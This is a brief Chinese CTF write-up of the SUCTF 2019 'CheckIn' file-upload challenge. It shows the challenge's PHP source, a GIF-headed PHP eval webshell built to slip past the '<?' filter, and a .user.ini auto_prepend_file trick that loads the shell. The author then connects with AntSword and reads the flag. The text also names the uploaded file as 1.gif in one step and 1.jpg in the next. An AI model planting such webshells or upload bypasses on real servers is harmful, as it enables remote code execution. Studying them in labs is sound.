[SUCTF 2019]CheckIn 1

查看GitHub中的源码

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
    $tmp_name = $_FILES["fileUpload"]["tmp_name"];
    $name = $_FILES["fileUpload"]["name"];
    if (!$tmp_name) {
        die("filesize too big!");
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);
    if (preg_match("/ph|htacess/i", $extension)) {
        die("illegal suffix!");
    }
    if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
        die("&lt;? in contents!");
    }
    $image_type = exif_imagetype($tmp_name);
    if (!$image_type) {
        die("exif_imagetype:not image!");
    }
    $upload_file_path = $userdir . "/" . $name;
    move_uploaded_file($tmp_name, $upload_file_path);
    echo "Your dir " . $userdir. ' <br>';
    echo 'Your files : <br>';
    var_dump(scandir($userdir));
}

过滤了很多文件后缀

先上传一个gif木马，<?被过滤，修改木马

<script language="php">eval($_POST['a']);</script>

学习到.user.ini文件

auto_prepend_file 在页面顶部加载文件
auto_append_file 在页面底部加载文件

上传

GIF89a
auto_prepend_file=1.gif

生成一个包含1.jpg的index.php

根据路径链接蚁剑访问根目录，得到flag